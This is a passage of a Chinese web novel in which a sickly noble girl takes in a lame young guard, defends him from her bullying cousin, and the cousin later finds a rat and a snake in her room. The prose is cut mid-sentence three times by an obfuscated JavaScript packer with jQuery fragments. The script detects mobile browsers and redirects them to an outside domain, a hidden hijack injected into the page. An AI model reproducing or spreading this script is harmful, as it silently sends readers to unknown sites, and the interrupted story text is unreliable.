江曜生时的那年,楚王便落下了残废,彻底成了废人一个。
而楚王妃替楚王府立下不世之功,强行与楚王诞下子嗣,这孩子是老楚王与楚王府期待而来的,只有可能是江子墨,他才是楚王府有且唯一的世子。
江子墨的地位稳如磐石,任谁来了都不可撼动。
即便是宫中长子的大皇子,想触及近在咫尺的太子之位,都得再三思量。
楚王府之内如此错综复杂,江子墨这个楚王世子,除非他死了,不然怎么可能轮得到别人?
而江曜,不过是一介乡野长大的私生子。
其母白氏乃罪臣之后,先不说楚王如何与白氏相爱有了江曜,光是其母出身,在世人眼中,他便彻底钉死在了卑贱之身。
这样的江曜,拿什么与江子墨斗啊?
姬时语再也笑不出来了,嘴里的香蜜奶尝不出半点甜味。
她到底是把事情想的太轻易了,考虑不周,没想过救下江曜之后,面临诸多险境,又该如何化解。
姬时语沉思片刻,终是吐出一口浊气,她明媚的眼眸弯了弯,又吃起了那晚香蜜枇杷奶。
她吩咐:“萍柳,往后多盯着楚王府,有什么便和我说。”
半晌没得到回应,姬时语咬着枇杷侧头,眼波晃动,只见萍柳踌躇站在原地,而珠帘之外,韶华院那扇棂条组成花格的隔扇门旁,不知何时多了一抹瘦薄的身影。
江曜拄着拐杖,他那只瘸腿稍耷拉着,因身形不稳,他半靠着屋门门槛。
少年目光沉沉如墨,又阴又冷的,正凝望着屋内。
姬时语真是惊起了一身冷汗,她起身佯装镇定,“萍亭、萍柳,愣着干嘛呢,还不快搀扶他落座。”
看不出江曜的心思,他没让丫鬟们扶,拄着拐杖几乎是颤颤巍巍入了正堂。
甫一坐下,江曜抬眼,他清晰望见了姬时语躲闪游移的神色,好像有什么事要避着他一般。
是他刚来听到的那句“楚王府”吗?
江曜没来由地心头烦躁。
耳边响起小姑娘头上铃铛清脆的声响,姬时语已来到他面前,她皎洁面庞露齿一笑,问他:“你伤未痊愈,怎么来我这儿了?”
江曜暗叹她一个:傻。
掩盖皆是所想,实则面上泄得一清二楚。
江曜闻声不动,他那双狐狸眼稍挑一记,“夫人知会了我,往后我便是五小姐的侍卫了。”
“啊?”
姬时语一双猫瞳瞪得圆鼓鼓的,江曜只觉得她更傻里傻气了。
这般傻乎乎的,不会平白被人欺负哭吧?
江曜眯起眼,重复道:“是的,我会是你的侍卫。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040560|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你还当上我的侍卫了?”
姬时语直哼哼,她不服气瞥头,眼睛灵动的很,江曜忍不住跟着她的眼瞟过去,她又看过来,江曜被抓了个正着,他咽了口水。
“你都伤成这样了,我娘还让你侍卫做甚?”
便听她哼道:“怕不是遇到歹人,我来保护你呢!”
江曜回:“我会好的,我很强壮。”
看姬时语不信,江曜沉了脸,阴郁问:“你不信我?”
“啊,真是的!”
姬时语真想拉过江曜的手狠狠打一通,瞧这人说的话,跟个死犟木头似得,她还能跟伤患计较什么?
当然是将人先养伤痊愈啊。
“萍亭,去寻林爷爷老人家来就诊。”
萍亭应了一句,当即出了院。
姬时语这面站在江曜跟前,她孜孜不倦:“我娘说那话只是因为你是我救回来的,她不想你忘恩情。什么侍卫不侍卫的,忠义侯府仆从不少,武艺精湛的更多,不用你这个未弱冠的孩子来当。”
小姑娘个头不高,比江曜还要矮了半个头,可这会儿江曜坐于木凳,矮了她一个头,姬时语俯视他,比出一根食指,还需弯弯腰。
“所以,你最要紧的,便是要康健起来。你的腿伤要养,耳朵要治,别担心,后头都会好的,知道吗?”
“嗯。”
江曜的视线如影随形,他很平静,还有点乖,应听入了耳。
姬时语嘴角勾笑,笑容满满,如偷了腥的猫。
少年乖乖听她话,这种感觉甚好,她喜欢!
很快,萍亭领着林大夫折回韶华院,林大夫还以为是姬时语这小祖宗哪里不舒服犯了,急的跑来。
可一见到小姑娘活泼乱跳的,他摸摸白胡子,是他白担心了。
“林爷爷,你快给他把个脉,看看他这伤如何了?”
林大夫被姬时语一把拽过来,他“哎哟哎哟”叫出声,“小祖宗,仔细老夫的胡子,可莫拽断了。”
姬时语一瞅,她手心正拽着林大夫好不容易攒起来的白胡子。
要知道林大夫攒了二十来年,才将胡子攒这么老长,给她揪掉几根,怕是得心疼坏了。
她窘迫撒手,林大夫也不计较,只是关切问:“这些时日你心悸可都还好,有复发过吗?”
“没有,遵你的医嘱,日日都在吃药,林爷爷,咱们商量个事呗?”姬时语可怜巴巴对了对食指。
林大夫深知她想要说什么,严词咳嗽:“不可,良药苦口啊,五小姐。”
“哎……”姬时语垂头丧气。
林大夫走去握住江曜一只手臂,探了两根指头在脉搏,屏息思索,他又握住江曜的半边脸,仔仔细细察看他聋了的半边耳。
姬时语探过小脑袋,紧巴巴凑过来,不时问林大夫江曜的病情。
“林爷爷,他这伤可重可重了,是不是得上针灸啊?”
“我听说你开了不少药,药材不慌,咱们忠义侯库房有需要的,都给他上!”
“我娘说了,他的事我做主,我说了算。”
“他什么都得听我的。”
姬时语宛如叽叽喳喳的小黄鹂鸟,春日绚烂,她踩着嫩绿的枝叶,一跳、一跳地飞跃轻轻落在江曜的肩头。
引得他忍不住,侧目而望。
那只小黄鹂还十分亲昵地,小跳几步,近在他身侧,蹭了蹭他。
就在这一刻,这一刹那,他很想伸出手,牢牢将那只鸟儿攥入掌心。
11. 第 11 章
少年的手泛着因瘦弱而成的肌黄,可又天生体白,林大夫把脉时,清晰可见江曜腕骨之上鼓起的青筋。
他太瘦了,骨头看得十足咯人。
姬时语端详着的眼底不自觉就浮现一抹怜意。
她要多多喂他吃饭,好好养养。
林大夫将江曜的头颅别到一边,他聋了的那半边耳朵像是微鼓,耳后连接腮部的那块肉俨然不同寻常的红肿。
“疼吗?”姬时语问出了声。
江曜受她微弱的声音蛊惑,“不疼。”
眉眼偏过去的刹那,他的视线不知不觉落在了姬时语裸露在外的手腕。
方才林大夫先为姬时语把脉,小姑娘的手心软软的,肤色粉白,如上好的暖玉,看得人不免垂涎。
可下一刻,林大夫用手指碰了碰那块红肿,江曜就眯起狐狸眼呲牙咧嘴。
“这还不疼?”林大夫嗤之以鼻。
江曜不吭声了,他连姬时语都不敢多看。
“肿得好厉害!”姬时语又拧眉,“光吃药像是不够,林爷爷,他这伤可有什么药膏可以用呢?”
“安心五小姐,待都看罢,我会给他开一副药膏。”
林大夫已是就完了诊,他沉思之后叮嘱道:“耳伤愈合的很好,再过一个月应便能恢复,腿伤亦不严重,只是需要养着,别乱跑就行。”
江曜抬头问:“能好是吗?”
“是。”
林大夫不明所以,总觉得此时此刻江曜那张面庞是十分认真的神情,看得他经不住跟着摆正脸色,“放心,老夫作担保,定让你健康痊愈。”
“我好了才能做五小姐的侍卫。”
江曜冷不丁一句话,姬时语又是闷声一个“啊”,林大夫情不自禁摸着胡须大笑出声,他戏谑的眼看看姬时语,又看看江曜,复而落下一句:“原来是这样啊。”
姬时语鼓嘴不满跺跺脚,小姑娘气恼的很,总觉着这话像她是个刻薄之人,江曜重伤这样,她还要让人当侍卫。
“才不是,我没说要他做我的侍卫!”
“五小姐。”
江曜眼睑下垂,落寞的阴影盖住他眼底的情绪,深深沉沉的,“你嫌弃我是个残废?”
“不是,我……”
“江池生出身卑贱,幸得五小姐善心相救,无以回报,只能以身相许。”
江曜每说一句,姬时语那白嫩小脸便跟着面红耳赤一分,什么以身相许都来了,偏他还说的哀怨又可怜,“我是如此身份,妄想回报小姐,是我逾矩了,您若不愿意的话,我……”
“我娘说什么你都当真啊!”
“所以小姐还是嫌弃我。”
姬时语当真明了了什么叫百口莫辩。
林大夫乐呵地望着面前的少年和小姑娘,两人还都是十余岁的年龄,心智稚嫩,举止之间真挚可爱。
他只觉得江池生是个知恩图报的好小子,还记着还恩情呢,便劝说姬时语,“小姐,江池生这孩子有心报答你,你就莫要推辞了吧。他想跟着你,是你们两人之间的缘分。”
姬时语狐疑,她再度问江曜:“你铁了心地要做我的侍卫?”
江曜眼尾下挑一分,连带狐狸眼可怜的紧,看得姬时语整颗心揪住,对上这张阴冷绝色又带点示弱的容颜,她如何说得出不愿的话。
“小姐既然说要我养伤,我会还小姐一具健康的身体。”
江曜轻轻看姬时语,眉目疏朗,“小姐?”
他的狐狸眼拢起流光,平静的、潋滟的色泽翻动。
姬时语心口一跳,身子踉跄了一步。
“啊!”
小姑娘赶紧扭头,摁住自己的胸口,她抬起手腕便递给林大夫,“林爷爷快帮我看看,我心口又不舒服了,可是发病了?”
“什么?”
林大夫立刻着急了,他抓住姬时语的手腕便摸了脉搏。
可摸来摸去,手下脉搏只比平日快上几分,哪有什么病症的兆头?
林大夫嘀咕:“没事啊小姐,您就是心跳快了点。”
“怎么会,我突然有一口窒息之感涌上心头……”
“您许是太紧张了。”林大夫平静答。
姬时语越说声音越微弱,她脸蛋染红了,意识到什么,她捂住脸三下两下揉揉,又深呼吸了一口气。
江曜毫不避讳地盯着她,脖上那颗红痣明艳非凡,他轻轻笑了。
啊,原来她受不住自己这副模样呐。
突然就很想把她欺负的乱七八糟,多露出些令人心悦的神色呢。
看来一时兴起,留在忠义侯府五小姐身边做侍卫的日子,比他料想的还要让人期待。
可怜一些、委屈一些,听她的话再乖巧一点,她便经受不住想要心软是吧?
那他倒是明白了。
江曜唇角的笑意幽幽,点染渐深的阴郁。
“真无事吗?”虽说林大夫探脉未发觉姬时语发病,可他还是有些担忧。
“没事了,林爷爷,你给江曜开药吧。”
姬时语缓过劲,偷摸怒瞪了始作俑者江曜一眼,那面的少年做无辜脸,回了她一个再纯真不过的笑。
这笑又让姬时语愣了神。
萍亭取来笔墨,林大夫写好方子之后,萍柳拿来收好,林大夫便拎着药箱与几人告别。
见林大夫走了,江曜也打算离开。
他道:“小姐,我先回思芳院了。”
“你好好养病。”姬时语顿住,又郑重严肃道:“既然是我的侍卫,你便是我的人,我命令你一定要照顾好自己。”
“是,小姐。”
江曜起了身,他拄着拐杖倔强地撑起身体,姬时语想探出手搀扶他,可还是被他的眼神委婉回绝了。
少年的背影孤寂悲凉,姬时语目送江曜一瘸一拐迈出韶华院,久久没收回眼。
萍亭在旁叹口气,“江小公子还真是心智坚定,如此重病仍旧顽强,受此艰难磨练,也不知是老天降大任还是有意为之。”
“定然是天降大任于斯人也,江池生日后必有造化!”
姬时语恢复一贯活泼性子,她笑颜如花,“他可是金鳞岂是池中物啊。”
让江曜做她的侍卫也太委屈他了,是以她百般不愿意。
可她拗不过江曜落寞的眼。
因对抗世道不得不凶狠的野狗,用那样湿漉漉的眼看她,还将柔软的爪垫亲自递到了她的手中。
她真的会心软。
唉,大不了让江曜做自己身边的一只漂亮花瓶侍卫吧。
姬时语如此想。
……
江曜从韶华院而出,拐杖不轻不重落在青石路上,他一直垂着头,沿着院墙墙根绕行。
在他脸上,那可怜模样早已消失殆尽,那种神情只需要在韶华院的姬时语面前摆出,旁的时候无需有。
少年垂首,面上是冰冷的阴沉。
他行走极慢,林大夫交代过不可让瘸腿受力,他跛着脚,几乎拖拉着那只瘸腿前行。
只是蓦地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040561|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一只崭新的绣花鞋映入他垂下的眼,鞋面之上还有一颗明亮皎白的东海大珍珠。
“哟,这不是姬时语养的那条狗吗?平日都缩在思芳院,姬时语看管的紧啊,我还以为你不会被放出来呢。”
江曜抬起眼,冷冷看姬如静。
“见到人也不知道喊,你学的规矩呢?”
满嘴的讥笑,姬如静轻蔑看他,江曜不为所动,冰凉眼神似在挑衅。
姬如静手握折扇顿时一拍,大步上前猛力一推他。
江曜本就一条腿落地,根本躲避不及,当即被姬如静推翻,栽倒在地。
旧伤未愈再添新伤,江曜疼得咬牙。
他没有爬起来,这一刻如狂潮般的暴虐和杀意在眼底翻涌而起。
“姬时语也是的,连一条狗都养不好。自家的狗不拴好,放出来咬伤人怎么办,她担得起这责吗?”
姬如静行事嚣张,她拔下一根金簪欲施以暴行,那簪头尖端锐利锋利,俯视着江曜,她抬脚便踩上他的手。
绣花鞋毫不留情地在江曜手背之上碾压,姬如静却笑得高傲,“姬时语管教不好的狗,就由我这个二姐来管吧。”
弯下腰,金簪握在姬如静手中。
她早想划烂江曜的脸了。
江曜手掌微微屈起,被一只脚踩中,他等待着时机,正打算反手一击折断跟前之人的脚腕——
一只小黄鹂鸟的叫声破空而来。
“姬如静,你在干什么!”
姬时语拎着衣摆,脚下片刻不停歇。
当她看清楚姬如静正踩着的少年是江曜,他身影单薄,任姬如静欺负反抗不了,满腔怒火再也压抑不住。
姬如静竟敢凌辱江曜!
姬时语如小炮竹,冲过去便掀翻姬如静。
“啊!”
突如其来的推搡令姬如静趔趄后退,她的丫鬟们扑过来,可姬如静还是摔了个屁股开花。
姬如静拔了头上的金簪,再又混乱倒地,发髻全盘散落,整个人是凌乱不堪。
她叫骂:“姬时语,你敢推我?”
“我推你怎么了,你都当着我的面打我的人了!我若跟姐姐学了武,那这会儿可不是推你,我定给你几鞭子。”
“你简直无礼!”
姬如静咬牙切齿,姬时语才不去管她扭曲的脸,她紧张地跑去江曜跟前,看了看他的伤,萍亭帮着扶人,萍柳捡起了江曜的拐杖。
“江池生,有没有很疼,我让人抬起回思芳院吧?”
姬时语担心坏了,他伤本就在腿上。
因是疾跑赶来,姬时语额上还有汗珠,江曜睨着那颗汗珠滴落,目光游移到她的嘴唇,她不时喘口气,朱唇一张一合的,眼睛心里满满都是他。
“小姐,我无碍的。”
想到了什么,江曜眼睫轻颤,“只是二小姐说我不堪站在小姐身边,她道我只是个无用的废物,小姐,都怪我没用……”
江曜狐狸眼落寞垂下,隐了阴郁之色,他眼尾泛着红,眼巴巴地去接拐杖,手掌面上硕大的红痕赫然露出。
那是被姬如静踩的。
江曜好似无意提及,“她还说我是你没管教好的狗,她要替你教训我。”
姬时语喘着气,小脸涨红,她怒视姬如静。
她竟然对江曜说这等侮辱人的话语!
还在忠义侯府,光天化日之下对江曜粗鲁动手,简直是有辱他们忠义侯府的家风。
小姑娘第一回面露凶狠,是为了护着江曜。
12. 第 12 章
忠义侯府亭台楼阁错落有致,绕过繁花盛开的花门,有淡淡的花香萦绕在鼻息之间。
此时丽日流金,春风盎然。
本是花门之边,鸟语花香,可姬时语与姬如静的争端一触即发。
江曜已被扶起,他单手拄着拐杖,萍亭、萍柳守在他身侧,姬时语更是站立于江曜身前。
她个头不高,挡不住江曜,可俨然一副袒护姿态。
姬如静衣裳沾了脏污,连那双崭新绣花鞋的大东珠都被泥巴团糊住,看起来狼狈极了。
她爬起来,冷笑:“姬时语,你竟然为了这么一个奴仆,反手甩你姐姐的脸。”
“江池生入府之后从不惹是生非,我不知道他怎么就惹到二姐你了,”姬时语义正言辞,她还喘着气,说完便咳嗽,“咳咳,方才我亲眼看见是你在凌辱他。”
“我凌辱他又如何,那也是他该的!”
姬如静气得满脸通红,她指着江曜破口大骂,“你养的好狗,进了我们忠义侯府,却不守忠义侯府的规矩,我不过是亲自教导他。”
“那二姐说说,我们忠义侯府是什么规矩?”
“咳咳咳!”
姬时语止不住的咳嗽,她说得又急又快,心口传来阵阵疼痛,她压住那股难受。
“江池生乃是我们大房的人,我母亲将他给了我,能处治他的只有我。二姐想随心所欲,不该来大房找事。”
江曜垂眸,细密眼睫盖住眼中冷冷情绪,说不出他在想什么。
“他只是一条狗——”
“姬如静!”
姬时语眼眸瞪起,明眸烧着怒意,“你不要张口闭口都是‘狗’,即便江池生如今身份只是仆从,他都是个人。”
“一个不知来历的小杂种,你还护上了?谁知道你在哪里捡来的人,身份卑贱,你当少爷公子对待,有够可笑的。”
“我们大房做事,还轮不到你说话。”
姬时语还是那句话,“我不准你这么说江池生。”
“即使我是你二姐?”
“不错,你也不能。”
姬如静本就看长年体弱霸占一切宠爱的姬时语不顺眼,偏又来了个不拿正眼看她的江曜,这两人凑出一对,真让她恨得牙痒痒。
姬如静怒道:“我身为忠义侯府嫡出二小姐,他拿什么和我相提并论?”
“我娘和姐姐都已准许江池生留在大房,二姐,我再说一遍,咳咳咳,江池生是我的人!”
姬时语一阵咳嗽,小身子弓起。
看她都这副模样了,还要护在江曜身前,姬如静勾唇讥嘲笑起来。
“姬时语,都不知道你怎么想的,你也是正经嫡女出身,还怜爱上一个低贱奴仆,大婶娘真白疼你了。”
姬时语本就是跑来的,这会儿气急攻心,总感觉心口处疼得厉害,有一口气卡在中央,怎么都下不去也上不来。
“小姐!”
“小姐!”
萍亭萍柳大喊,姬时语歪歪一倒。
离她最近的江曜以最快出手,他丢了拐杖,接住姬时语。
只是姬时语一头朝后倒在了他前胸,江曜身子一晃想要站定,那条瘸腿受了力,疼得他一咬嘴唇,瞬间满嘴铁锈味。
姬时语在江曜怀中喘着气,脸色白得吓人。
江曜立马看萍亭,“怎么做?”
萍柳半接住姬时语,抬手给她揉心口,边拍边哄,“小姐,深吸气,莫着急,慢慢来……”
姬时语大口、大口呼气,萍柳的手未停,揉得她好受不少。
姬如静呵笑:“又是虚张声势。”
江曜霎时抬眸,眼底是一片猩红的杀意。
还不等他动作,手腕已被一只柔软的小手攥住,江曜垂头,是姬时语靠在他怀里捉住了他的手。
萍亭着急的要死,“小姐,你怎么样了?”
姬时语抿唇,发白的唇瓣艰难露出一抹笑,她在说,自己好多了,不用担心。
“姬时语,你只会这种小把戏,这些年还没玩够呢?能不能换点新点子啊,我看倦了。”
“姬如静。”
另有人喊她,姬如静脸色大变。
不知何时出现的姬合英满脸不虞,她大步走来,“你有胆子把你对阿锁的出言不逊再说一遍?”
嫡长女姬合英马尾高束,一双英气彭发的眼如凶猛的鹰隼。
锁住姬如静的时候,那只锋利的鸟喙似随时可刺穿她的喉咙。
显然是皆听入了耳。
姬如静脸色煞白,她改口辩解:“是五妹说着说着倒了,大姐,此事与我无关……”
姬合英没工夫和姬如静纠缠,她三下两步便来到姬时语身边,毫不留情推开江曜,反手将自家妹妹抱入怀里。
姬时语睁开眼皮,见是姐姐来了,她虚弱喊了一声:“姐姐……”
小姑娘宛如受了伤的猫儿,日光之下肌肤白得几乎要透明了。
姬合英气得恼火,她宝贝在手上的妹妹好生养着,生怕她磕着碰着了,姬如静竟来找她的麻烦。
思及此,姬合英语气不善扫视几人。
“怎么回事?”
常年随父镇守边关令姬合英周身煞气很重,除却她怀里的姬时语,旁人尽数被压迫感扼住,大气都不敢喘。
萍柳、萍亭接连跪下,江曜瘸腿没跪,当然了,要他跪下,他亦是做不到。
“二小姐拦住不让我回院,之后五小姐为了护我,和她起了争执。”
江曜言简易骇。
姬合英冷厉的眼便直直射向了他。
这个少年无惧她寒冰凛冽,姬合英一直不明白,她养在侯府,娇花一般的妹妹究竟哪里被少年吸引,执意要将人养在府上、养在身边。
或许是这一身的无畏,还是跌至泥潭都还未折断的傲骨?
“是因为你?”
姬合英心里冷笑,她直接了当,“那你可知道,你让我家小五受了大罪,我可以当即把你赶出府。”
“姐姐,不要……”
姬时语醒了,她抓住姬合英的手晃了晃,满眼都是哀求。
江曜闻声未动,他那双狐狸眼平静如死水,“大小姐,我并未惹事。”
“一切是因你而起。”
“二小姐视我为狗,她几番欺辱我,我忍了。今日亦是她先发难,我不是辩解,我只是想说,若这是忠义侯府的做派,我认。”
江曜冷意环绕,他坦言:“还请大小姐做主,处治我吧。”
姬时语握着姬合英的手更紧,她咳了几声,有了几分力气,开口就道:“姐姐,不能怪江池生,是二姐太坏了……”
姬合英看不得妹妹求情的眼神。
她确实看江池生很碍眼。
可她并非不讲理,她只是一想到姬时语满心都记挂这个外头捡回来的少年,她便眼不见心不烦。
一事归一事,今日姬如静对姬时语有多轻蔑,她听得清清楚楚。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040562|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
姬合英转头,冷冷睨姬如静,她问:“你不知道江池生是我母亲亲自带回府的人?”
“我知道。”
姬如静如实回答,她见到姬合英的那一刻,便知道自己要完蛋了。
“你知道你还做,他如今是大房的人,你欺辱他,便是打大房的脸!看不起江池生,把阿锁气病,罪加二等!”
姬合英每冷声说一句话,姬如静的脖子都跟着一哆嗦。
“姬如静,今日之事,我定要关你禁闭思过。除非你诚心悔改,不若我便让母亲亲自罚你。”
别看舒氏样貌温和,一旦事关姬时语,那张长年贤淑的脸只会比姬合英还要冷漠。
姬时语被姬如静气到病发,这事若舒氏知晓,一定会请家法,鞭笞十鞭子。再送去祠堂两个月,每日只许吃一顿饭。
想到家法鞭打,姬如静慌了。
“大姐,我真的没做什么过分之事,我只是,我只是多说了五妹几句,谁知道她病得这样重,一下便倒了。”
“道歉。”
姬合英才不要听姬如静的狡辩,“我要你和阿锁道歉。”
姬如静脸如菜色,可考虑之下,她还是和姬时语道:“五妹,是我错了,二姐不应该对你说重话。”
姬时语没搭理她,小姑娘窝在姬合英怀里,只拿个后脑勺看她。
姬如静狠狠咬牙。
姬合英又开口:“还有江池生。”
被点了名的江曜诧异望过来,姬合英面色未变,好似这话在寻常不过。
姬如静暴跳如雷:“大姐,为何我还要和他道歉?他不过是个下人!”
“姬如静。”
姬合英只是喊了姬如静的名字,她便即刻噤声。
“二婶平日是怎么教导你的?你身为忠义侯府之女,你的教养便是对布衣平民大呼小叫,嘲弄旁人是狗,是最卑贱不如的东西?”
姬合英在边关呆的久了,她早不觉得自己忠义侯府嫡长女的名头乃是骄傲。
无数在边关浴血奋战的将士们,才为这天下守护一片安宁。
而那些人,哪有什么高贵的身份,冲在最前方的将士们皆是平民老百姓,多了是的孤儿,生来便无父无母。
京城之中多少名门世家、簪缨贵胄的荣华富贵,那都是远在边关的老百姓们守来的安宁。
她看江池生不顺眼,但她从未轻视江池生。
江曜是个人,是姬时语愿意护着的人,他不该做姬如静嘴里的那种“狗”。
“大姐……”
“给江池生道歉。”
姬如静被姬合英劈头盖脸的痛骂,整张人都好似受了羞辱,给江池生道歉的羞辱比方才给姬时语还要让她难以承受。
一个仆从,还要她这个嫡出小姐道歉上了?
姬如静敷衍的一句道歉之后,看都不看江曜一眼,转身便走。
姬合英心知只能到此为止,她抱起姬时语,面色柔和哄她,“姐姐送你回去。”
小姑娘身板弱,又被姬如静气倒,姬合英哪里放心的了,她定是要亲自护送她回屋睡下的。
“姐姐最好啦。”
姬时语乖乖窝在姬合英怀中,她被抱起的刹那,小脑袋朝后歪了歪,一眼找到了站在后头的江曜。
少年拿回拐杖,吃力地站直,江曜抬起头,双眼正好瞅见。
前头小姑娘的娇颜展露,她的小脸还是惨白,可却朝着自己吐了吐舌头,挥挥小手。
13. 第 13 章
夜深人静,万籁俱寂。
茂密枝桠摩梭之间,凉风唰唰而过,一抹黑色的影子一瘸一拐隐入院落的暗角。
三日的蹲守,江曜每逢午夜便会离了思芳院。
如同孤魂野鬼一般在宅院西南角游荡。
这处忠义侯府的边角无人出没,有两处废院在此。
许是平日奴仆懒惰,杂草丛生,竟长有江曜半腿之高。
江曜没拄拐杖,他跛着腿在破败院落里搜寻,灰尘扑凌,他费力地咳嗽几声,复而贴着墙蹲下。
他探手去摸,阴暗爬行着。
不多时,“咕唧”一声,江曜指甲尖掐住一团东西。
“牙还挺尖啊。”
就着破烂雕花窗,射入屋中的还有一抹月光,点点光亮之中,江曜阴测测笑了。
他扶墙站起来,手里死死攥着一只肥硕老鼠,手背不知何时被老鼠咬出一道血痕。
但江曜并不在意。
他步履缓慢,走去院落墙角的草堆旁,伸出手,像是苦等已久的凶兽,正在找寻自己早已盯上的猎物。
躬身扒拉开草,江曜一步一探。
倏忽间,月光闪动,一双血红的竖瞳迅速自杂草之中冒了头,江曜唇角勾笑,狐狸眼上挑一记,邪性的很。
“啊,你在这儿呢?”
只见江曜下手如闪电,黑夜浸没,更是难以看清他究竟如何快狠准,一个出手便掐住了草中绿蛇的七寸。
“嘶嘶——”
绿蛇在江曜手里吐着信子,蛇尾来回绞动,它欲缠上江曜的手腕,只待挣脱便用獠牙一咬再做反杀。
可江曜不给它这个机会。
“烦死了。”
一手蛇头,一手蛇尾,眨眼之间蛇被撕成了两断。
蛇血四射迸溅,血花瞬间爬满他的脸颊,少年脸色比月色还要煞白,他身子一动,鲜血便顺着下巴滴滴答答地淌落。
在漆黑的夜色映衬之下,这张半红半白的脸显得尤为诡谲。
缠在江曜手腕的蛇尾几下蠕动,便再也不动,啪嗒掉落在地。
江曜捡起蛇尾,少年狐狸眼阴冷至极。
他没管脸上、手臂处鲜血,心知蛇血无毒。
早年在乡野求生,江曜曾被一条毒蛇咬过,后来他徒手杀了那条蛇,还炖了一锅蛇羹。
只要扼住七寸,这毒物便拿他没辙。
江曜心满意足,顶着半张血脸,他左手拿上绿蛇,右手掐着老鼠,缓步跛脚出院。
今夜于他甚是美妙,美妙到令他迫不及待了啊。
……
玉树阁,姬如静的屋子已熄了火,丫鬟们各回侧屋而睡,院中此刻空无一人。
“吱嘎——”
春日夜风微凉,姬如静特意命丫鬟们将窗棂掩上,可并未上锁。
眼见窗棂被掀开一个口子,清风随之卷入室内。
姬如静躺在被褥之中翻了个身,这么一侧,一只脚从被里探出,迷迷糊糊的,她好似觉得脚下踩了个什么软趴趴的团儿。
“叽咕,叽咕……”
什么东西啊?
姬如静只感觉脚下那物还在动,毛发茸茸但又刺肌肤,踩了两下,那东西还叫唤了两声。
哪里是梦,根本就是真的!
姬如静吓醒了。
“啊!”
“啊!”
“啊!”
看清楚是什么,姬如静放声尖叫,她爬起来一脚踹飞。
一团大耗子就这么飞落在了地下,滚了几下,蠕动之后,老鼠不动了。
“哪里来的老鼠!”
姬如静真要疯了!
一只老鼠爬上了她的床,她还踩了几脚,那种蠕动的毛绒之感仍在脚心,好像随时都要把她啃食殆尽,她要癫狂了。
救命!救命啊!
她慌忙卷了外衫,连鞋都顾不上套,跳下了床就朝外奔。
可脚一着地,又踩到了一个软物。
姬如静整个人如坠冰窖,脑袋好像丧了命,咔哒两下才挪动低下,朝下一望。
一条蛇头被她踩着,绿油油的,还泛着黑纹细光。
在动,在动。
“啊!”
“不要,不要……”
“救我啊!”
姬如静的尖叫响彻云霄,她身心俱溃。
“小姐!”
“二小姐!”
丫鬟们顷刻间皆被惊醒,方才尖叫声便是主屋传出,撕心裂肺的,惊动了众人。
姬如静发疯了一般推开屋门冲出院子,衣衫凌乱。
谁来告诉她,为何大半夜的她屋中会有蠕动的老鼠和蛇?
这些恶心的、肮脏的东西钻入了她的内室!
一瞬间,姬如静崩溃大哭。
……
姬时语睡眼朦胧的起身,她还想赖床,便翻身之后整张脸埋入枕里,闷声哼了两声。
却听外室萍柳轻声说道:“二小姐像是癔症了,非说府里有人作祟,半夜不睡捉了蛇鼠,故意害她。”
“还有这事?”
“便是昨夜闹的,听说二夫人已带着二小姐去海棠苑找夫人做主了。”
萍亭不明白,疑声便问:“找夫人作甚?这事莫非还能与大房有关系不成?”
“嘘。”
萍柳又压低了一分声音,两人交谈彻底勾起了姬时语的好奇心,她哪里还犯困?
早爬起来侧耳倾听。
看外头嘀咕声小了,她下意识就朝前倾了倾身子,差点不小心翻下了床。
“二小姐说是府上她只与五小姐有怨怼,非说这事定与五小姐脱不开干系。”
姬时语有些没听清,但依稀之间还是听到了“五小姐”的字眼。
“与我们五小姐?”
这回萍亭直接拔高声量,“昨夜五小姐睡得那样沉,我半夜还夜起过,她屋门锁的严严实实,怎么出去?二小姐睁眼说鬼话。”
“哎,谁知道呢。”
萍柳话音刚落,萍亭语气便抑住了,“怕什么来什么,夫人遣人来了,你去唤小姐起床。”
原来是海棠苑来人了,舒氏寻了个丫鬟过来传唤姬时语过去,便是要问话。
萍柳入了里屋,姬时语已是起床换了衣裳,她微微惊讶,小姑娘乖巧地在铜镜跟前坐好,等着她梳头。
这一时萍柳又是忍不住嘀咕,“咱们小姐哪会去抓什么蛇鼠啊?”
姬时语瞪着亮晶晶的大眼睛,问她:“二姐说我捉了东西要伤她啊?”
萍柳梳头的手一顿,“小姐,您都听着了?”
“嗯,不用那么麻烦。”
姬时语翻出一根红绳,让萍柳给她随意编个辫子,她起身小跳两步。
“走,瞧瞧二姐去。”
都说姬如静被吓唬的不轻,姬时语更为好奇了,哪方神仙做了她没胆子做的事啊。
往姬如静屋里丢老鼠和毒蛇,哎呀,太有种了!
